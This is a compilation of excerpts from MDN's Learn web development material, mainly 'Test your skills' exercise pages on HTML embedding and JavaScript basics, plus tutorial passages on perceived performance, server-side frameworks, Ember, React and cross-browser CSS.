This aim of this skill test is to assess whether you've understood our Video and audio content and From object to iframe -- other embedding technologies articles. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Multimedia and embedding 1 In this task we want you to embed a simple audio file onto the page. You need to: Add the path to the audio file to an appropriate attribute to embed it on the page. The audio is called audio.mp3, and it is in a folder inside the current folder called media. Add an attribute to make browsers ...
...s to do: Embed a PDF into the page. The PDF is called mypdf.pdf, and is contained in the media folder. Go to a sharing site like YouTube or Google Maps, and embed a video or other media item into the page. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...Google Maps, and embed a video or other media item into the page. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for HTML image basics 1 skill test". ...
...e code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for HTML image basics 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Conditionals - Learn web development
The aim of this skill test is to assess whether you've understood our Making decisions in your code -- conditionals article. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). Conditionals 1 In this task you are provided with two variables: season -- contains a string that says what th...
... If not, it should assign a different string to pwdResult telling the user their login attempt was not successful. We'd like you to do this in a single line, using something that isn't an if ... else structure. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
... single line, using something that isn't an if ... else structure. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Conditionals 1 skill test". Detai...
...te the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Conditionals 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Events - Learn web development
This aim of this skill test is to assess whether you've understood our Introduction to events article. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). DOM manipulation: considered useful Some of the questions below require you to write some DOM manipulation code to complete them -- suc...
...set the background of the button-bar to the color contained in the button's data-color attribute. We want you to solve this without looping through all the buttons and giving each one their own event listener. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...ough all the buttons and giving each one their own event listener. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Events 1 skill test". Details of ...
...an write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Events 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Functions - Learn web development
This aim of this skill test is to assess whether you've understood our Functions -- reusable blocks of code, Build your own function, and Function return values articles. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). DOM manipulation: considered useful Some of the questions below req...
...it makes use of the random number function, takes the array to choose from as a parameter (making it more flexible), and returns the result. Print the returned result into the paragraph (para)'s textContent. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...int the returned result into the paragraph (para)'s textContent. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Functions 1 skill test". Details ...
...write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Functions 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Loops - Learn web development
whether you've understood our Looping code article. Note: You can try out solutions for the tasks below by downloading the code, putting it in an online tool such as CodePen, jsFiddle, or Glitch, then working on the tasks. We didn't provide live editable versions of these tasks because of the risk of creating infinite loops and crashing the assessment page! If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. DOM manipulation: considered useful Some of the questions below require you to write some DOM manipulation code to complete them -- such as creating new HTML elements, setting their text contents to equal specific string values, and nesting them inside existing elements on the page -- all via JavaScript. We haven't expl...
...on them. For each number that isn't a prime number, continue on to the next loop iteration. For each one that is a prime number, add it to the paragraph's textContent along with some kind of separator. You should use a type of loop that you've not used in the previous two tasks. Download the starting point for this task to work in your own editor or in an online editor. ...
...aragraph's textContent along with some kind of separator. You should use a type of loop that you've not used in the previous two tasks. Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Loops 1 skill test". Details of w...
...can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Loops 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Silly story generator - Learn web development
ate browser tab somewhere. You'll need it later. Alternatively, you could use a site like JSBin or Glitch to do your assessment. You could paste the HTML, CSS and JavaScript into one of these online editors. If the online editor you are using doesn't have a separate JavaScript panel, feel free to put it inline in a <script> element inside the HTML page. Note: If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Project brief You have been provided with some raw HTML/CSS and a few text strings and JavaScript functions; you need to write the necessary JavaScript to turn this into a working program, which does the following: Generates a silly story when the "Generate random story" button is pressed. Replaces the default name "...
...l be a random item out of each array it is called on). For example you can call the function and get it to return one random string out of insertX by writing randomValueFromArray(insertX). Next we want to replace the three placeholders in the newStory string -- :insertx:, :inserty:, and :insertz: -- with the strings stored in xItem, yItem, and zItem. There is a particular string method that will help you here -- in each case, make the call to the method equal to newStory, so each time it is called, newStory is made equal to itself, but with substitutions made. So each time the button is pressed, these placeholders are each replaced with a random silly string. As a further hint, the method in question only replaces the first instance of the substring it finds, so you might need to make one of ...
...of a calculation to the nearest whole number. There are three instances of strings that need to be replaced. You may repeat the replace() method multiple times, or you can use regular expressions. For instance, let text = 'I am the biggest lover, I love my love'; text.replace(/love/g,'like'); will replace all instances of 'love' to 'like'. Remember, Strings are immutable! Assessment or further help If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Silly story generator". Details of what you have alrea...
...lp: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Silly story generator". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. Previous Overview: Fi...
Test your skills: Arrays - Learn web development
This aim of this skill test is to assess whether you've understood our Arrays article. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). Arrays 1 Let's start off with some basic array practice. In this task we'd like you to create an array of three items, stored inside a variable called ...
...yu (0). Note that we don't teach how to do this in the Arrays article, so you'll have to do some research. Finally, join the array items together in a single string called myString, with a separator of " - ". Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...er in a single string called myString, with a separator of " - ". Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Variables 1 skill test". Details ...
...write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Variables 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Math - Learn web development
This aim of this skill test is to assess whether you've understood our Basic math in JavaScript -- numbers and operators article. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). Math 1 Let's start out by testing your knowledge of basic math operators. You will have to create four numer...
...te some tests. You've got three groups, each consisting of a statement and two variables. For each one, write a test that proves or disproves the statement made. Store the results of those tests in variables called weightComparison, heightComparison, and pwdMatch, respectively. Download the starting point for this task to work in your own editor or in an online editor. ...
...e statement made. Store the results of those tests in variables called weightComparison, heightComparison, and pwdMatch, respectively. Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Math 1 skill test". Details of wh...
... can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Math 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Strings - Learn web development
This aim of this skill test is to assess whether you've understood our Handling text -- strings in JavaScript and Useful string methods articles. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). Strings 1 In our first strings task, we start off small. You already have half of a famous q...
...t-angled triangle, given that the two other side lengths are the same as the two values we have. You'll need to look up how to calculate this from what you have. Do the calculation inside the placeholder. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...om what you have. Do the calculation inside the placeholder. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Strings 1 skill test". Details of...
...n write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Strings 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: variables - Learn web development
This aim of this skill test is to assess whether you've understood our Storing the information you need -- Variables article. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). Variables 1 In this task we want you to: Declare a variable called myName. Initialize myName with a suitable v...
...ode, which has two errors present in it. The results panel should be outputting the name Chris, and a statement about how old Chris will be in 20 years' time. How can you fix the problem and correct the output? Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...0 years' time. How can you fix the problem and correct the output? Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Variables 1 skill test". Details of ...
...an write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Variables 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Object-oriented JavaScript - Learn web development
The aim of this skill test is to assess whether you've understood our Object-oriented JavaScript for beginners, Object prototypes, and Inheritance in JavaScript articles. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). OOJS 1 In this task we provide you with a constructor. We want you ...
...ust need to provide the sideLength property. Create an instance of the Square class called square with appropriate property values, and call its calcPerimeter() and calcArea() methods to show that it works ok. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...s calcPerimeter() and calcArea() methods to show that it works ok. Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for OOJS 1 skill test". Details of wh...
... can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for OOJS 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Test your skills: Object basics - Learn web development
This aim of this skill test is to assess whether you've understood our JavaScript object basics article. Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks. If you get stuck, then ask us for help -- see the Assessment or further help section at the bottom of this page. Note: In the examples below, if there is an error in your code it will be outputted into the results panel on the page, to help you try to figure out the answer (or into the browser's JavaScript console, in the case of the downloadable version). Object basics 1 In this task you are provided with an object literal, and your tasks are to Store the value of the name property i...
...d once) -- you've got the same method defined twice, for example. Describe how you'd make it more DRY? If you are not sure, then don't worry -- this is what we'll be looking at in future articles in the series! Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. ...
...this is what we'll be looking at in future articles in the series! Try updating the live code below to recreate the finished example: Download the starting point for this task to work in your own editor or in an online editor. Assessment or further help You can practice these examples in the Interactive Editors above. If you would like your work assessed, or are stuck and want to ask for help: Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Object basics 1 skill test". Deta...
...e the code yourself, or use the starting point files linked to in the above sections. Write a post asking for assessment and/or help at the MDN Discourse forum Learning category. Your post should include: A descriptive title such as "Assessment wanted for Object basics 1 skill test". Details of what you have already tried, and what you would like us to do, e.g. if you are stuck and need help, or want an assessment. A link to the example you want assessed or need help with, in an online shareable editor (as mentioned in step 1 above). This is a good practice to get into -- it's very hard to help someone with a coding problem if you can't see their code. A link to the actual task or assessment page, so we can find the question you want help with. ...
Perceived performance - Learn web development
finishes and the UI is available for user interaction with delay. UI lack or responsiveness and jank both harm perceived performance. Even though a task may take a long time, though, there are ways to make it seem faster. There are several tips to improving perceived performance. Improving perceived performance Understanding networking, how the browser works, user perception of time, etc., can help you better understand how to improve the user interaction. However, you don't have to know the ins and outs of how everything, including how the human mind works, to improve the perception of speed. How fast or slow something feels like it's taking depends a lot on whether the user is actively or passively waiting for this thing to happen. Waits can have an active and passive phase. When the use...
...l to improving perceived performance. For example, because page render is blocked by loading and parsing CSS and JavaScript, minimizing the amount of CSS and JS that needs to be loaded on initially will have a major impact on improving perceived performance. Even though the bytes might be the same, not blocking the page from rendering makes the load feel faster. Here are a few tips and tricks to help improve performance: Minimize initial load To improve perceived performance, minimize the original page load. In other words, first download everything you're going to actually show, but only the stuff you are actually using, then download the rest. If you're downloading all the assets in the end, the weight of all your assets hasn't improved -- in fact, you may need to add some code -- but bec...
...ets. Don't load images or scripts that aren't used or visible on the initial page load. Either delay their load, loading them when the page becomes usable, or, loading them when they become necessary. Loading additional assets and resources after initial page load improves perceived performance. Loading essential data in initial requests and progressively loading features and data only as needed helps mitigate low bandwidth and lower spec hardware. Additionally, you should optimize the assets you do load. Images and video should be served in the most optimal format, compressed, and in the correct size. Prevent jumping content and other reflows Images or other assets causing content to be pushed down or jump to a different location, like the loading of third party advertisements, can make t...
... especially bad for user experience when not initiated by user interaction. If some assets are going to be slower to load than others, with elements loading after other content has already been painted to the screen, plan ahead and leave space in the layout for them so that content doesn't jump or resize, especially after the site has become interactive. Avoid font file delays Font use can both help and harm user experience. Selecting the right fonts is an art form, and can greatly improve the user experience. Fonts can also harm user experience, especially if the fonts used need to be imported, and if the importing is not optimal, or if Comic Sans is used (kidding). Flicker of unstyled text and missing text both harm performance. Make fallback fonts the same size and weight so that when f...
Server-side web frameworks - Learn web development
go web framework provides an ORM, and refers to the object used to define the structure of a record as the model. The model specifies the field types to be stored, which may provide field-level validation on what information can be stored (e.g. an email field would only allow valid email addresses). The field definitions may also specify their maximum size, default values, selection list options, help text for documentation, label text for forms etc. The model doesn't state any information about the underlying database as that is a configuration setting that may be changed separately of our code. The first code snippet below shows a very simple Django model for a Team object. This stores the team name and team level as character fields and specifies a maximum number of characters to be stored...
... but it is not always enabled by default. There are many other possible factors, including licensing, whether or not the framework is under active development, etc. If you're an absolute beginner at programming then you'll probably choose your framework based on "ease of learning". In addition to "ease of use" of the language itself, high quality documentation/tutorials and an active community helping new users are your most valuable resources. We've chosen Django (Python) and Express (Node/JavaScript) to write our examples later on in the course, mainly because they are easy to learn and have good support. Note: Let's go to the main websites for Django (Python) and Express (Node/JavaScript) and check out their documentation and community. Navigate to the main sites (linked above) ...
...n active community? A few good web frameworks? Let's now move on, and discuss a few specific server-side web frameworks. The server-side frameworks below represent a few of the most popular available at the time of writing. All of them have everything you need to be productive -- they are open source, are under active development, have enthusiastic communities creating documentation and helping users on discussion boards, and are used in large numbers of high-profile websites. There are many other great server-side frameworks that you can discover using a basic internet search. Note: Descriptions come (partially) from the framework websites! Django (Python) Django is a high-level Python Web framework that encourages rapid development and clean, pragmatic design. Built by experi...
... and third-party libraries but allows to start with minimum fuss and configuration. It can be used for small problems but its strength is building larger scale applications that use a cloud approach. Usually multiple applications run in parallel talking to each other, with some providing user interaction and others doing back end work (e.g. accessing databases or other services). Load balancers help to ensure redundancy and reliability or allow geolocated handling of user requests to ensure responsiveness. Summary This article has shown that web frameworks can make it easier to develop and maintain server-side code. It has also provided a high level overview of a few popular frameworks, and discussed criteria for choosing a web application framework. You should now have at least an idea of...
Getting started with Ember - Learn web development
Objective: To learn how to install Ember, and create a starter app. Introducing Ember Ember is a component-service framework that focuses on the overall web application development experience, minimizing the trivial differences between applications -- all while being a modern and light layer on top of native JavaScript. Ember also has immense backwards and forwards compatibility to help businesses stay up to date with the latest versions of Ember and latest community-driven conventions. What does it mean to be a component-service framework? Components are individual bundles of behavior, style, and markup -- much like what other frontend frameworks provide, such as React, Vue, and Angular. The service side provides long-lived shared state, behavior, and an interface to integrati...
...s: Single Page Applications, including native-like web apps, and progressive web apps (PWAs) Ember works best when it is the entire front end of your application. Increasing cohesion among many team's technology stacks Community-backed "best practices" allow for faster long-term development speed. Ember has clear conventions that are useful for enforcing consistency and helping team members get up to speed quickly. Ember with add-ons EmberJS has a plugin architecture, which means that add-ons can be installed and provide additional functionality without much, if any, configuration. Examples include: PREmber: Static website rendering for blogs or marketing content. FastBoot: Server-side rendering, including improving search-engine optimization (SEO), or i...
...nstalled on mobile devices, just like apps from the device's respective app-store. Native mobile apps Ember can also be used with native mobile apps with a native-mobile bridge to JavaScript, such as that provided by Corber. Opinions EmberJS is one of the most opinionated front-end frameworks out there. But what does it mean to be opinionated? In Ember, opinions are a set of conventions that help increase the efficiency of developers at the cost of having to learn those conventions. As conventions are defined and shared, the opinions that back those conventions help reduce the menial differences between apps -- a common goal among all opinionated frameworks, across any language and ecosystem. Developers are then more easily able to switch between projects and applications without having ...
... You'll need node and npm installed before you can install ember-cli. Go here to find out how to install node and npm, if you haven't already got them. Now type the following into your terminal to install ember-cli: npm install -g ember-cli This tool provides the ember program in your terminal, which is used to create, build, develop, test, and scaffold your application (run ember --help for a full list of commands and their options). To create a brand new application, type the following in your terminal. This creates a new directory inside the current directory you are in called todomvc, containing the scaffolding for a new Ember app. Make sure you navigate to somewhere appropriate in the terminal before you run it. (Good suggestions are your "desktop" or "documents" direc...
Framework main features - Learn web development
transformed into JavaScript or HTML first. Transformation is an extra step in the development process, but framework tooling generally includes the required tools to handle this step, or can be adjusted to include this step. While it is possible to build framework apps without using these domain-specific languages, embracing them will streamline your development process and make it easier to find help from the communities around those frameworks. JSX JSX, which stands for JavaScript and XML, is an extension of JavaScript that brings HTML-like syntax to a JavaScript environment. It was invented by the React team for use in React applications, but can be used to develop other applications -- like Vue apps, for instance. The following shows a simple JSX example: const subject = "World"; const...
...e value of count. We call this function on line 4, and set count to whatever its current value is, plus one. Styling components Each framework offers a way to define styles for your components -- or for the application as a whole. Although each framework's approach to defining the styles of a component is slightly different, all of them give you multiple ways to do so. With the addition of some helper modules, you can style your framework apps in Sass or Less, or transpile your CSS stylesheets with PostCSS. Handling dependencies All major frameworks provide mechanisms for handling dependencies -- using components inside other components, sometimes with multiple hierarchy levels. As with other features, the exact mechanism will differ between frameworks, but the end result is the same. Comp...
...through which Ember's templates are transpiled into a kind of "byte code" that is easier and faster to read than JavaScript. Routing As mentioned in the previous chapter, routing is an important part of the web experience. To avoid a broken experience in sufficiently complex apps with lots of views, each of the frameworks covered in this module provides a library (or more than one library) that helps developers implement client-side routing in their applications. Testing All applications benefit from test coverage that ensures your software continues to behave in the way that you'd expect, and web applications are no different. Each framework's ecosystem provides tooling that facilitates the writing of tests. Testing tools are not built into the frameworks themselves, but the command-line ...
... you access to the appropriate testing tools. Each framework has extensive tools in its ecosystem, with capabilities for unit and integration testing alike. Testing Library is a suite of testing utilities that has tools for many JavaScript environments, including React, Vue, and Angular. The Ember docs cover the testing of Ember apps. ...
Getting started with React - Learn web development
act toolchain on our local computer, and create and play with a simple starter app -- learning a bit about how React works in the process. Prerequisites: Familiarity with the core HTML, CSS, and JavaScript languages, knowledge of the terminal/command line. React uses an HTML-in-JavaScript syntax called JSX (JavaScript and XML). Familiarity with both HTML and JavaScript will help you to learn JSX, and better identify whether bugs in your application are related to JavaScript or to the more specific domain of React. Objective: To set up a local React development environment, create a start app, and understand the basics of how it works Hello React As its official tagline states, React is a library for building user interfaces. React is not a framewo...
...lines of code inside are part of the same expression. You could just as well write the header expression like this: const header = <header> <h1>Mozilla Developer Network</h1> </header> However, this looks kind of awkward, because the <header> tag that starts the expression is not indented to the same position as its corresponding closing tag. Of course, your browser can't read JSX without help. When compiled (using a tool like Babel or Parcel), our header expression would look like this: const header = React.createElement("header", null, React.createElement("h1", null, "Mozilla Developer Network") ); It's possible to skip the compilation step and use React.createElement() to write your UI yourself. In doing this, however, you lose the declarative benefit of JSX, and your code becom...
... logo.svg +-- serviceWorker.js The src directory is where we'll spend most of our time, as it's where the source code for our application lives. The public directory contains files that will be read by your browser while you're developing the app; the most important of these is index.html. React injects your code into this file so that your browser can run it. There's some other markup that helps create-react-app function, so take care not to edit it unless you know what you're doing. You very much should change the text inside the <title> element in this file to reflect the title of your application. Accurate page titles are important for accessibility! The public directory will also be published when you build and deploy a production version of your app. We won't cover deployment in t...
...ide public/index.html, you'll see that this is a <div> element just inside the <body>. All of this tells React that we want to render our React application with the App component as the root, or first component. Note: In JSX, React components and HTML elements must have closing slashes. Writing just <App> or just <img> will cause an error. Service workers are interesting pieces of code that help application performance and allow features of your web applications to work offline, but they're not in scope for this article. You can delete line 5, as well as lines 9 through 12. Your final index.js file should look like this: import React from 'react'; import ReactDOM from 'react-dom'; import './index.css'; import App from './App'; ReactDOM.render(<App />, document.getElementById('root'));...
Handling common HTML and CSS problems - Learn web development
l want to support; more problems are uncovered when you start wanting to use newer features such as Flexbox, or HTML5 video/audio, or even more nascent, CSS Grids or -webkit-background-clip: text. Once you've identified a list of potential problem technologies you will be using, it is a good idea to research what browsers they are supported in, and what related techniques are useful. See Finding help below. HTML fallback behaviour Some problems can be solved by just taking advantage of the natural way in which HTML/CSS work. Unrecognised HTML elements are treated by the browser as anonymous inline elements (effectively inline elements with no semantic value, similar to <span> elements). You can still refer to them by their names, and style them with CSS, for example -- you just need to mak...
...or all the details (see manual installation for the simplest usage). Selector support Of course, no CSS features will apply at all if you don't use the right selectors to select the element you want to style! If you just write a selector incorrectly so the styling isn't as expected in any browser, you'll just need to troubleshoot and work out what is wrong with your selector. We find that it is helpful to inspect the element you are trying to style using your browser's dev tools, then look at the DOM tree breadcrumb trail that DOM inspectors tend to provide to see if your selector makes sense compared to it. For example, in the Firefox dev tools, you get this kind of output at the bottom of the DOM inspector: If for example you were trying to use this selector, you'd be able to see that ...
